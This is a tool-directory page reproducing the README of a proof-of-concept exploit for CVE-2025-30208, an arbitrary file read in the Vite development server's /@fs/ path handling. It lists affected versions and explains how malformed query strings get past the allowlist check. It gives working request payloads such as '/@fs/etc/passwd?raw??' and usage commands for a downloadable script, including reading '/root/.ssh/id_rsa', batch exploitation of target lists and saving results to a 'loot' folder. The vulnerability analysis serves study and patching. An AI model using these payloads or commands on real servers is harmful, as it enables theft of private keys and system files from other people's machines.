Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-30208 — A PoC of the exploit script for the Arbitrary File Read vulnerability of Vite /@fs/ Path Traversal in the transformMiddleware (CVE-2025-30208). | Kitploit
Tools/GitHubGitHub/4xura/cve-2025-30208
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHub4xura/cve-2025-30208

CVE-2025-30208

A PoC of the exploit script for the Arbitrary File Read vulnerability of Vite /@fs/ Path Traversal in the transformMiddleware (CVE-2025-30208).

View Repository
10521 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-30208

A PoC of the exploit script for the Arbitrary File Read vulnerability of Vite /@fs/ Path Traversal in transformMiddleware (CVE-2025-30208). Detailed analysis can be refer to this post.

Vulnerable in versions prior to:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

Overview

Vite is a popular open-source project which can be sourced from Github and its official website. It uses a special prefix, @fs, to allow direct access to absolute file paths in development mode:

root@kitploit:~
GET /@fs/<absolute/path/to/file>

But to prevent abuse, Vite limits what can be accessed through @fs using a configuration like:

root@kitploit:~
server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

So in theory, files outside the allowed directory (like /etc/passwd) should be blocked — even if someone tries using tricks like ../../../.

However, the flaw lies in how Vite parses and checks URLs (via transformMiddleware middleware/function). The middleware/function uses ensureServingAccess(url, ...) to check if a file request via /@fs/ was allowed.

However, an attacker could craft request with trailing query separators in the URL like:

root@kitploit:~
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??

These forms would bypass the regular expression filters (rawRE, urlRE) and security checks due to the malformed query string still matching the route logic. What’s happening:

  1. The path is /@fs/../../../etc/passwd
  2. The query string is raw?? (malformed on purpose)
  3. Internally, Vite tries to strip or normalize trailing characters like ?, and it does this before checking if the file path is allowed.
  4. However, the check fails to correctly parse and match the query string, so the allowlist logic doesn't apply.

This means:

  • The request bypasses the server.fs.allow check.
  • Vite treats it as a valid file access request.
  • And it reads and returns arbitrary files like /etc/passwd, if existed.

PoC Usage

Basic usage

root@kitploit:~
python3 poc.py [OPTIONS]

Options

Flag / OptionDescription
-u, --urlSingle target URL (e.g. example.com:5173)
-f, --fileFile with list of targets (one URL per line)
-p, --pathFilesystem path to read (default: /etc/passwd)
-b, --bypassQuery string to bypass route validation (default: ?raw??)
--proxyProxy URL (e.g. http://127.0.0.1:8080)
-o, --outputOutput directory for saving exploitation results (default: results)
-t, --threadsNumber of threads for batch mode (default: 10)
-h, --helpShow help message and exit

Examples

Single target exploitation:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173

Single target with custom LFI path to leak the file we want:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'

Batch exploitation with multiple targets:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt

Custom bypass query:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"

Using a proxy (e.g. Burp Suite):

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080

Custom output directory:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -o ./loot

Increase thread count in batch mode:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt -t 50
Download Tool